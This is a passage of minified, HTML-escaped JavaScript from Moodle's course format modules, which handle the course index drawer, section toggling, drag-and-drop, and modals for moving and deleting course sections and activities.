   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_contenttree=_interopRequireDefault(_contenttree);class Component extends _reactive.BaseComponent{create(){this.name=&quot;courseindex&quot;,this.selectors={SECTION:&quot;[data-for=&#039;section&#039;]&quot;,SECTION_CMLIST:&quot;[data-for=&#039;cmlist&#039;]&quot;,CM:&quot;[data-for=&#039;cm&#039;]&quot;,TOGGLER:&#039;[data-action=&quot;togglecourseindexsection&quot;]&#039;,COLLAPSE:&#039;[data-toggle=&quot;collapse&quot;]&#039;,DRAWER:&quot;.drawer&quot;},this.classes={SECTIONHIDDEN:&quot;dimmed&quot;,CMHIDDEN:&quot;dimmed&quot;,SECTIONCURRENT:&quot;current&quot;,COLLAPSED:&quot;collapsed&quot;,SHOW:&quot;show&quot;},this.sections={},this.cms={}}static init(target,selectors){return new Component({element:document.getElementById(target),reactive:(0,_courseeditor.getCurrentCourseEditor)(),selectors:selectors})}stateReady(state){this.addEventListener(this.element,&quot;click&quot;,this._sectionTogglers);this.getElements(this.selectors.SECTION).forEach((section=&gt;{this.sections[section.dataset.id]=section}));this.getElements(this.selectors.CM).forEach((cm=&gt;{this.cms[cm.dataset.id]=cm})),this._refreshPageItem({element:state.course,state:state}),this.contentTree=new _contenttree.default(this.element,this.selectors,this.reactive.isEditing)}getWatchers(){return[{watch:&quot;section.indexcollapsed:updated&quot;,handler:this._refreshSectionCollapsed},{watch:&quot;cm:created&quot;,handler:this._createCm},{watch:&quot;cm:deleted&quot;,handler:this._deleteCm},{watch:&quot;section:created&quot;,handler:this._createSection},{watch:&quot;section:deleted&quot;,handler:this._deleteSection},{watch:&quot;course.pageItem:created&quot;,handler:this._refreshPageItem},{watch:&quot;course.pageItem:updated&quot;,handler:this._refreshPageItem},{watch:&quot;course.sectionlist:updated&quot;,handler:this._refreshCourseSectionlist},{watch:&quot;section.cmlist:updated&quot;,handler:this._refreshSectionCmlist}]}_sectionTogglers(event){const sectionlink=event.target.closest(this.selectors.TOGGLER),isChevron=event.target.closest(this.selectors.COLLAPSE);if(sectionlink||isChevron){var _toggler$classList$co;const section=event.target.closest(this.selectors.SECTION),toggler=section.querySelector(this.selectors.COLLAPSE),isCollapsed=null!==(_toggler$classList$co=null==toggler?void 0:toggler.classList.contains(this.classes.COLLAPSED))&amp;&amp;void 0!==_toggler$classList$co&amp;&amp;_toggler$classList$co;if(isChevron||isCollapsed){const sectionId=section.getAttribute(&quot;data-id&quot;);this.reactive.dispatch(&quot;sectionIndexCollapsed&quot;,[sectionId],!isCollapsed)}}}_refreshSectionCollapsed(_ref){var _toggler$classList$co2;let{element:element}=_ref;const target=this.getElement(this.selectors.SECTION,element.id);if(!target)throw new Error(&quot;Unkown section with ID &quot;.concat(element.id));const toggler=target.querySelector(this.selectors.COLLAPSE),isCollapsed=null!==(_toggler$classList$co2=null==toggler?void 0:toggler.classList.contains(this.classes.COLLAPSED))&amp;&amp;void 0!==_toggler$classList$co2&amp;&amp;_toggler$classList$co2;element.indexcollapsed!==isCollapsed&amp;&amp;this._expandSectionNode(element)}_expandSectionNode(element,forceValue){var _toggler$dataset$targ;const toggler=this.getElement(this.selectors.SECTION,element.id).querySelector(this.selectors.COLLAPSE);let collapsibleId=null!==(_toggler$dataset$targ=toggler.dataset.target)&amp;&amp;void 0!==_toggler$dataset$targ?_toggler$dataset$targ:toggler.getAttribute(&quot;href&quot;);if(!collapsibleId)return;collapsibleId=collapsibleId.replace(&quot;#&quot;,&quot;&quot;);const collapsible=document.getElementById(collapsibleId);if(!collapsible)return;void 0===forceValue&amp;&amp;(forceValue=!element.indexcollapsed);const togglerValue=forceValue?&quot;show&quot;:&quot;hide&quot;;(0,_jquery.default)(collapsible).collapse(togglerValue)}_refreshPageItem(_ref2){var _element$pageItem;let{element:element,state:state}=_ref2;if(null==element||null===(_element$pageItem=element.pageItem)||void 0===_element$pageItem||!_element$pageItem.isStatic||&quot;cm&quot;!=element.pageItem.type)return;const section=state.section.get(element.pageItem.sectionId);section.indexcollapsed&amp;&amp;(this._expandSectionNode(section,!0),setTimeout((()=&gt;{var _this$cms$element$pag;return null===(_this$cms$element$pag=this.cms[element.pageItem.id])||void 0===_this$cms$element$pag?void 0:_this$cms$element$pag.scrollIntoView({block:&quot;nearest&quot;})}),250))}async _createCm(_ref3){let{state:state,element:element}=_ref3;const fakeelement=document.createElement(&quot;li&quot;);fakeelement.classList.add(&quot;bg-pulse-grey&quot;,&quot;w-100&quot;),fakeelement.innerHTML=&quot;&amp;nbsp;&quot;,this.cms[element.id]=fakeelement,this._refreshSectionCmlist({state:state,element:state.section.get(element.sectionid)});const data=this.reactive.getExporter().cm(state,element),newelement=(await this.renderComponent(fakeelement,&quot;core_courseformat/local/courseindex/cm&quot;,data)).getElement();this.cms[element.id]=newelement,fakeelement.parentNode.replaceChild(newelement,fakeelement)}async _createSection(_ref4){let{state:state,element:element}=_ref4;const fakeelement=document.createElement(&quot;div&quot;);fakeelement.classList.add(&quot;bg-pulse-grey&quot;,&quot;w-100&quot;),fakeelement.innerHTML=&quot;&amp;nbsp;&quot;,this.sections[element.id]=fakeelement,this._refreshCourseSectionlist({state:state,element:state.course});const data=this.reactive.getExporter().section(state,element),newelement=(await this.renderComponent(fakeelement,&quot;core_courseformat/local/courseindex/section&quot;,data)).getElement();this.sections[element.id]=newelement,fakeelement.parentNode.replaceChild(newelement,fakeelement)}_refreshSectionCmlist(_ref5){var _element$cmlist;let{element:element}=_ref5;const cmlist=null!==(_element$cmlist=element.cmlist)&amp;&amp;void 0!==_element$cmlist?_element$cmlist:[],listparent=this.getElement(this.selectors.SECTION_CMLIST,element.id);this._fixOrder(listparent,cmlist,this.cms)}_refreshCourseSectionlist(_ref6){var _element$sectionlist;let{element:element}=_ref6;const sectionlist=null!==(_element$sectionlist=element.sectionlist)&amp;&amp;void 0!==_element$sectionlist?_element$sectionlist:[];this._fixOrder(this.element,sectionlist,this.sections)}_fixOrder(container,neworder,allitems){if(!neworder.length)return container.classList.add(&quot;hidden&quot;),void(container.innerHTML=&quot;&quot;);for(container.classList.remove(&quot;hidden&quot;),neworder.forEach(((itemid,index)=&gt;{const item=allitems[itemid],currentitem=container.children[index];void 0!==currentitem?currentitem!==item&amp;&amp;container.insertBefore(item,currentitem):container.append(item)}));container.children.length&gt;neworder.length;)container.removeChild(container.lastChild)}_deleteCm(_ref7){let{element:element}=_ref7;delete this.cms[element.id]}_deleteSection(_ref8){let{element:element}=_ref8;delete this.sections[element.id]}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseindex/drawer&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core_courseformat/courseeditor&quot;],(function(_exports,_reactive,_courseeditor){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Course index drawer wrap.
   *
   * This component is mostly used to ensure all subcomponents find a parent
   * compoment with a reactive instance defined.
   *
   * @module     core_courseformat/local/courseindex/drawer
   * @class     core_courseformat/local/courseindex/drawer
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class Component extends _reactive.BaseComponent{create(){this.name=&quot;courseindex-drawer&quot;}static init(target,selectors){return new Component({element:document.getElementById(target),reactive:(0,_courseeditor.getCurrentCourseEditor)(),selectors:selectors})}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseindex/sectiontitle&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseeditor/dndsectionitem&quot;],(function(_exports,_dndsectionitem){var obj;
/**
   * Course index section title component.
   *
   * This component is used to control specific course section interactions like drag and drop.
   *
   * @module     core_courseformat/local/courseindex/sectiontitle
   * @class      core_courseformat/local/courseindex/sectiontitle
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_dndsectionitem=(obj=_dndsectionitem)&amp;&amp;obj.__esModule?obj:{default:obj};class Component extends _dndsectionitem.default{create(descriptor){this.name=&quot;courseindex_sectiontitle&quot;,this.id=descriptor.id,this.section=descriptor.section,this.course=descriptor.course,this.fullregion=descriptor.fullregion,this.section.number&gt;0&amp;&amp;(this.getDraggableData=this._getDraggableData)}static init(target,selectors){return new Component({element:document.getElementById(target),selectors:selectors})}stateReady(state){this.configDragDrop(this.id,state,this.fullregion)}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseindex/placeholder&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core/templates&quot;,&quot;core_courseformat/courseeditor&quot;,&quot;core/pending&quot;],(function(_exports,_reactive,_templates,_courseeditor,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index placeholder replacer.
   *
   * @module     core_courseformat/local/courseindex/placeholder
   * @class      core_courseformat/local/courseindex/placeholder
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_templates=_interopRequireDefault(_templates),_pending=_interopRequireDefault(_pending);class Component extends _reactive.BaseComponent{static init(target,selectors){return new Component({element:document.getElementById(target),reactive:(0,_courseeditor.getCurrentCourseEditor)(),selectors:selectors})}create(){this.pendingContent=new _pending.default(&quot;core_courseformat/placeholder:loadcourseindex&quot;)}async stateReady(state){this.loadStaticContent()||await this.loadTemplateContent(state)}loadStaticContent(){const index=this.reactive.getStorageValue(&quot;courseIndex&quot;);return!(!index.html||!index.js)&amp;&amp;(_templates.default.replaceNode(this.element,index.html,index.js),this.pendingContent.resolve(),!0)}async loadTemplateContent(state){const data=this.reactive.getExporter().course(state);try{const{html:html,js:js}=await _templates.default.renderForPromise(&quot;core_courseformat/local/courseindex/courseindex&quot;,data);_templates.default.replaceNode(this.element,html,js),this.pendingContent.resolve(),this.reactive.setStorageValue(&quot;courseIndex&quot;,{html:html,js:js})}catch(error){throw this.pendingContent.resolve(error),error}}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseindex/section&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseindex/sectiontitle&quot;,&quot;core_courseformat/local/courseeditor/dndsection&quot;],(function(_exports,_sectiontitle,_dndsection){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index section component.
   *
   * This component is used to control specific course section interactions like drag and drop.
   *
   * @module     core_courseformat/local/courseindex/section
   * @class      core_courseformat/local/courseindex/section
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_sectiontitle=_interopRequireDefault(_sectiontitle),_dndsection=_interopRequireDefault(_dndsection);class Component extends _dndsection.default{create(){this.name=&quot;courseindex_section&quot;,this.selectors={SECTION_ITEM:&quot;[data-for=&#039;section_item&#039;]&quot;,SECTION_TITLE:&quot;[data-for=&#039;section_title&#039;]&quot;,CM_LAST:&#039;[data-for=&quot;cm&quot;]:last-child&#039;},this.classes={SECTIONHIDDEN:&quot;dimmed&quot;,SECTIONCURRENT:&quot;current&quot;,LOCKED:&quot;editinprogress&quot;,RESTRICTIONS:&quot;restrictions&quot;,PAGEITEM:&quot;pageitem&quot;},this.id=this.element.dataset.id,this.isPageItem=!1}static init(target,selectors){return new Component({element:document.getElementById(target),selectors:selectors})}stateReady(state){this.configState(state);const sectionItem=this.getElement(this.selectors.SECTION_ITEM);if(this.reactive.isEditing&amp;&amp;this.reactive.supportComponents){const titleitem=new _sectiontitle.default({...this,element:sectionItem,fullregion:this.element});this.configDragDrop(titleitem)}const section=state.section.get(this.id);window.location.href==section.sectionurl.replace(/&amp;amp;/g,&quot;&amp;&quot;)&amp;&amp;(this.reactive.dispatch(&quot;setPageItem&quot;,&quot;section&quot;,this.id),sectionItem.scrollIntoView())}getWatchers(){return[{watch:&quot;section[&quot;.concat(this.id,&quot;]:deleted&quot;),handler:this.remove},{watch:&quot;section[&quot;.concat(this.id,&quot;]:updated&quot;),handler:this._refreshSection},{watch:&quot;course.pageItem:updated&quot;,handler:this._refreshPageItem}]}getLastCm(){return this.getElement(this.selectors.CM_LAST)}_refreshSection(_ref){var _element$hasrestricti,_element$dragging,_element$locked;let{element:element}=_ref;const sectionItem=this.getElement(this.selectors.SECTION_ITEM);sectionItem.classList.toggle(this.classes.SECTIONHIDDEN,!element.visible),sectionItem.classList.toggle(this.classes.RESTRICTIONS,null!==(_element$hasrestricti=element.hasrestrictions)&amp;&amp;void 0!==_element$hasrestricti&amp;&amp;_element$hasrestricti),this.element.classList.toggle(this.classes.SECTIONCURRENT,element.current),this.element.classList.toggle(this.classes.DRAGGING,null!==(_element$dragging=element.dragging)&amp;&amp;void 0!==_element$dragging&amp;&amp;_element$dragging),this.element.classList.toggle(this.classes.LOCKED,null!==(_element$locked=element.locked)&amp;&amp;void 0!==_element$locked&amp;&amp;_element$locked),this.locked=element.locked,this.getElement(this.selectors.SECTION_TITLE).innerHTML=element.title}_refreshPageItem(_ref2){var _element$pageItem,_this$pageItem;let{element:element,state:state}=_ref2;if(!element.pageItem)return;if(element.pageItem.sectionId!==this.id&amp;&amp;this.isPageItem)return this.pageItem=!1,void this.getElement(this.selectors.SECTION_ITEM).classList.remove(this.classes.PAGEITEM);var _element$pageItem2;!state.section.get(this.id).indexcollapsed||null!==(_element$pageItem=element.pageItem)&amp;&amp;void 0!==_element$pageItem&amp;&amp;_element$pageItem.isStatic?this.pageItem=&quot;section&quot;==element.pageItem.type&amp;&amp;element.pageItem.id==this.id:this.pageItem=(null===(_element$pageItem2=element.pageItem)||void 0===_element$pageItem2?void 0:_element$pageItem2.sectionId)==this.id;this.getElement(this.selectors.SECTION_ITEM).classList.toggle(this.classes.PAGEITEM,null!==(_this$pageItem=this.pageItem)&amp;&amp;void 0!==_this$pageItem&amp;&amp;_this$pageItem),this.pageItem&amp;&amp;!this.reactive.isEditing&amp;&amp;this.element.scrollIntoView({block:&quot;nearest&quot;})}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/content/actions&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/templates&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/normalise&quot;,&quot;core_course/events&quot;,&quot;core/pending&quot;,&quot;core_courseformat/local/courseeditor/contenttree&quot;,&quot;jquery&quot;],(function(_exports,_reactive,_modal_factory,_modal_events,_templates,_prefetch,_str,_normalise,CourseEvents,_pending,_contenttree,_jquery){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course state actions dispatcher.
   *
   * This module captures all data-dispatch links in the course content and dispatch the proper
   * state mutation, including any confirmation and modal required.
   *
   * @module     core_courseformat/local/content/actions
   * @class      core_courseformat/local/content/actions
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_modal_factory=_interopRequireDefault(_modal_factory),_modal_events=_interopRequireDefault(_modal_events),_templates=_interopRequireDefault(_templates),CourseEvents=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(CourseEvents),_pending=_interopRequireDefault(_pending),_contenttree=_interopRequireDefault(_contenttree),_jquery=_interopRequireDefault(_jquery),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;movecoursesection&quot;,&quot;movecoursemodule&quot;,&quot;confirm&quot;,&quot;delete&quot;]);class _default extends _reactive.BaseComponent{create(){this.name=&quot;content_actions&quot;,this.selectors={ACTIONLINK:&quot;[data-action]&quot;,SECTIONLINK:&quot;[data-for=&#039;section&#039;]&quot;,CMLINK:&quot;[data-for=&#039;cm&#039;]&quot;,SECTIONNODE:&quot;[data-for=&#039;sectionnode&#039;]&quot;,MODALTOGGLER:&quot;[data-toggle=&#039;collapse&#039;]&quot;,ADDSECTION:&quot;[data-action=&#039;addSection&#039;]&quot;,CONTENTTREE:&quot;#destination-selector&quot;,ACTIONMENU:&quot;.action-menu&quot;,ACTIONMENUTOGGLER:&#039;[data-toggle=&quot;dropdown&quot;]&#039;},this.classes={DISABLED:&quot;disabled&quot;}}stateReady(state){this.addEventListener(this.element,&quot;click&quot;,this._dispatchClick),this._checkSectionlist({state:state}),this.addEventListener(this.element,CourseEvents.sectionRefreshed,(()=&gt;this._checkSectionlist({state:state})))}getWatchers(){return[{watch:&quot;course.sectionlist:updated&quot;,handler:this._checkSectionlist}]}_dispatchClick(event){const target=event.target.closest(this.selectors.ACTIONLINK);if(!target)return;if(target.classList.contains(this.classes.DISABLED))return void event.preventDefault();const methodName=this._actionMethodName(target.dataset.action);void 0!==this[methodName]&amp;&amp;this[methodName](target,event)}_actionMethodName(name){const requestName=name.charAt(0).toUpperCase()+name.slice(1);return&quot;_request&quot;.concat(requestName)}_checkSectionlist(_ref){let{state:state}=_ref;this._setAddSectionLocked(state.course.sectionlist.length&gt;state.course.maxsections)}async _requestMoveSection(target,event){const sectionId=target.dataset.id;if(!sectionId)return;const sectionInfo=this.reactive.get(&quot;section&quot;,sectionId);event.preventDefault();const editTools=this._getClosestActionMenuToogler(target),data=this.reactive.getExporter().course(this.reactive.state);data.sectionid=sectionInfo.id,data.sectiontitle=sectionInfo.title;const modalParams={title:(0,_str.get_string)(&quot;movecoursesection&quot;,&quot;core&quot;),body:_templates.default.render(&quot;core_courseformat/local/content/movesection&quot;,data)},modal=await this._modalBodyRenderedPromise(modalParams),modalBody=(0,_normalise.getList)(modal.getBody())[0],currentElement=modalBody.querySelector(&quot;&quot;.concat(this.selectors.SECTIONLINK,&quot;[data-id=&#039;&quot;).concat(sectionId,&quot;&#039;]&quot;));this._disableLink(currentElement);const generalSection=modalBody.querySelector(&quot;&quot;.concat(this.selectors.SECTIONLINK,&quot;[data-number=&#039;0&#039;]&quot;));this._disableLink(generalSection),new _contenttree.default(modalBody.querySelector(this.selectors.CONTENTTREE),{SECTION:this.selectors.SECTIONNODE,TOGGLER:this.selectors.MODALTOGGLER,COLLAPSE:this.selectors.MODALTOGGLER},!0),modalBody.addEventListener(&quot;click&quot;,(event=&gt;{const target=event.target;target.matches(&quot;a&quot;)&amp;&amp;&quot;section&quot;==target.dataset.for&amp;&amp;void 0!==target.dataset.id&amp;&amp;(target.getAttribute(&quot;aria-disabled&quot;)||(event.preventDefault(),this.reactive.dispatch(&quot;sectionMove&quot;,[sectionId],target.dataset.id),this._destroyModal(modal,editTools)))}))}async _requestMoveCm(target,event){var _toggler$data;const cmId=target.dataset.id;if(!cmId)return;const cmInfo=this.reactive.get(&quot;cm&quot;,cmId);event.preventDefault();const editTools=this._getClosestActionMenuToogler(target),exporter=this.reactive.getExporter(),data=exporter.course(this.reactive.state);data.cmid=cmInfo.id,data.cmname=cmInfo.name;const modalParams={title:(0,_str.get_string)(&quot;movecoursemodule&quot;,&quot;core&quot;),body:_templates.default.render(&quot;core_courseformat/local/content/movecm&quot;,data)},modal=await this._modalBodyRenderedPromise(modalParams),modalBody=(0,_normalise.getList)(modal.getBody())[0];let currentElement=modalBody.querySelector(&quot;&quot;.concat(this.selectors.CMLINK,&quot;[data-id=&#039;&quot;).concat(cmId,&quot;&#039;]&quot;));this._disableLink(currentElement),new _contenttree.default(modalBody.querySelector(this.selectors.CONTENTTREE),{SECTION:this.selectors.SECTIONNODE,TOGGLER:this.selectors.MODALTOGGLER,COLLAPSE:this.selectors.MODALTOGGLER,ENTER:this.selectors.SECTIONLINK});const sectionnode=currentElement.closest(this.selectors.SECTIONNODE),toggler=(0,_jquery.default)(sectionnode).find(this.selectors.MODALTOGGLER);let collapsibleId=null!==(_toggler$data=toggler.data(&quot;target&quot;))&amp;&amp;void 0!==_toggler$data?_toggler$data:toggler.attr(&quot;href&quot;);collapsibleId&amp;&amp;(collapsibleId=collapsibleId.replace(&quot;#&quot;,&quot;&quot;),(0,_jquery.default)(&quot;#&quot;.concat(collapsibleId)).collapse(&quot;toggle&quot;)),modalBody.addEventListener(&quot;click&quot;,(event=&gt;{const target=event.target;if(!target.matches(&quot;a&quot;)||void 0===target.dataset.for||void 0===target.dataset.id)return;if(target.getAttribute(&quot;aria-disabled&quot;))return;let targetSectionId,targetCmId;if(event.preventDefault(),&quot;cm&quot;==target.dataset.for){const dropData=exporter.cmDraggableData(this.reactive.state,target.dataset.id);targetSectionId=dropData.sectionid,targetCmId=dropData.nextcmid}else{const section=this.reactive.get(&quot;section&quot;,target.dataset.id);targetSectionId=target.dataset.id,targetCmId=null==section?void 0:section.cmlist[0]}this.reactive.dispatch(&quot;cmMove&quot;,[cmId],targetSectionId,targetCmId),this._destroyModal(modal,editTools)}))}async _requestAddSection(target,event){var _target$dataset$id;event.preventDefault(),this.reactive.dispatch(&quot;addSection&quot;,null!==(_target$dataset$id=target.dataset.id)&amp;&amp;void 0!==_target$dataset$id?_target$dataset$id:0)}async _requestDeleteSection(target,event){var _sectionInfo$cmlist;const sectionId=target.dataset.id;if(!sectionId)return;const sectionInfo=this.reactive.get(&quot;section&quot;,sectionId);event.preventDefault();if((null!==(_sectionInfo$cmlist=sectionInfo.cmlist)&amp;&amp;void 0!==_sectionInfo$cmlist?_sectionInfo$cmlist:[]).length||sectionInfo.hassummary||sectionInfo.rawtitle){const modalParams={title:(0,_str.get_string)(&quot;confirm&quot;,&quot;core&quot;),body:(0,_str.get_string)(&quot;confirmdeletesection&quot;,&quot;moodle&quot;,sectionInfo.title),saveButtonText:(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),type:_modal_factory.default.types.SAVE_CANCEL},modal=await this._modalBodyRenderedPromise(modalParams);modal.getRoot().on(_modal_events.default.save,(e=&gt;{e.preventDefault(),modal.destroy(),this.reactive.dispatch(&quot;sectionDelete&quot;,[sectionId])}))}else this.reactive.dispatch(&quot;sectionDelete&quot;,[sectionId])}_setAddSectionLocked(locked){this.getElements(this.selectors.ADDSECTION).forEach((element=&gt;{element.classList.toggle(this.classes.DISABLED,locked),this.setElementLocked(element,locked)}))}_disableLink(element){element&amp;&amp;(element.style.pointerEvents=&quot;none&quot;,element.style.userSelect=&quot;none&quot;,element.classList.add(this.classes.DISABLED),element.setAttribute(&quot;aria-disabled&quot;,!0),element.addEventListener(&quot;click&quot;,(event=&gt;event.preventDefault())))}_modalBodyRenderedPromise(modalParams){return new Promise(((resolve,reject)=&gt;{_modal_factory.default.create(modalParams).then((modal=&gt;{modal.setRemoveOnClose(!0),modal.getRoot().on(_modal_events.default.bodyRendered,(()=&gt;{resolve(modal)})),void 0!==modalParams.saveButtonText&amp;&amp;modal.setSaveButtonText(modalParams.saveButtonText),modal.show()})).catch((()=&gt;{reject(&quot;Cannot load modal content&quot;)}))}))}_destroyModal(modal,element){modal.hide();const pendingDestroy=new _pending.default(&quot;courseformat/actions:destroyModal&quot;);element&amp;&amp;element.focus(),setTimeout((()=&gt;{modal.destroy(),pendingDestroy.resolve()}),500)}_getClosestActionMenuToogler(element){const actionMenu=element.closest(this.selectors.ACTIONMENU);if(actionMenu)return actionMenu.querySelector(this.selectors.ACTIONMENUTOGGLER)}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/content/activity_header&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core_courseformat/courseeditor&quot;,&quot;core_course/events&quot;],(function(_exports,_reactive,_courseeditor,CourseEvents){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,CourseEvents=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * The activity header component.
   *
   * @module     core_courseformat/local/content/activity_header
   * @class      core_courseformat/local/content/activity_header
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(CourseEvents);const SELECTORS_ACTIVITY_HEADER=&quot;[data-for=&#039;page-activity-header&#039;]&quot;;class Component extends _reactive.BaseComponent{create(){this.name=&quot;activity_header&quot;}static init(target,selectors){const elementselector=target||SELECTORS_ACTIVITY_HEADER;return new Component({element:document.querySelector(elementselector),reactive:(0,_courseeditor.getCurrentCourseEditor)(),selectors:selectors})}stateReady(){this.addEventListener(this.element,CourseEvents.manualCompletionToggled,this._completionHandler)}_completionHandler(_ref){let{detail:detail}=_ref;void 0!==detail&amp;&amp;this.reactive.dispatch(&quot;cmCompletion&quot;,[detail.cmid],detail.completed)}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/content/section/cmitem&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseeditor/dndcmitem&quot;],(function(_exports,_dndcmitem){var obj;
/**
   * Course course module item component.
   *
   * This component is used to control specific course modules interactions like drag and drop.
   *
   * @module     core_courseformat/local/content/section/cmitem
   * @class      core_courseformat/local/content/section/cmitem
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_dndcmitem=(obj=_dndcmitem)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _dndcmitem.default{create(){this.name=&quot;content_section_cmitem&quot;,this.selectors={DRAGICON:&quot;.editing_move&quot;},this.classes={LOCKED:&quot;editinprogress&quot;},this.id=this.element.dataset.id}stateReady(){var _this$getElement;this.configDragDrop(this.id),null===(_this$getElement=this.getElement(this.selectors.DRAGICON))||void 0===_this$getElement||_this$getElement.classList.add(this.classes.DRAGICON)}getWatchers(){return[{watch:&quot;cm[&quot;.concat(this.id,&quot;]:deleted&quot;),handler:this.unregister},{watch:&quot;cm[&quot;.concat(this.id,&quot;]:updated&quot;),handler:this._refreshCm}]}_refreshCm(_ref){var _element$dragging,_element$locked;let{element:element}=_ref;this.element.classList.toggle(this.classes.DRAGGING,null!==(_element$dragging=element.dragging)&amp;&amp;void 0!==_element$dragging&amp;&amp;_element$dragging),this.element.classList.toggle(this.classes.LOCKED,null!==(_element$locked=element.locked)&amp;&amp;void 0!==_element$locked&amp;&amp;_element$locked),this.locked=element.locked}}return _exports.default=_default,_exports.default}));
define(&quot;core_courseformat/local/content/section/header&quot;,[&quot;exports&quot;,&quot;core_courseformat/local/courseeditor/dndsectionitem&quot;],(function(_exports,_dndsectionitem){var obj;
/**
   * Course section header component.
   *
   * This component is used to control specific course section interactions like drag and drop.
   *
   * @module     core_courseformat/local/content/section/header
   * @class      core_courseformat/local/content/section/header
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_dndsectionitem=(obj=_dndsectionitem)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _dndsectionitem.default{create(descriptor){this.name=&quot;content_section_header&quot;,this.id=descriptor.id,this.section=descriptor.section,this.course=descriptor.course,this.fullregion=descriptor.fullregion}stateReady(state){this.configDragDrop(this.id,state,this.fullregion)}}return _exports.default=_default,_exports.default}));
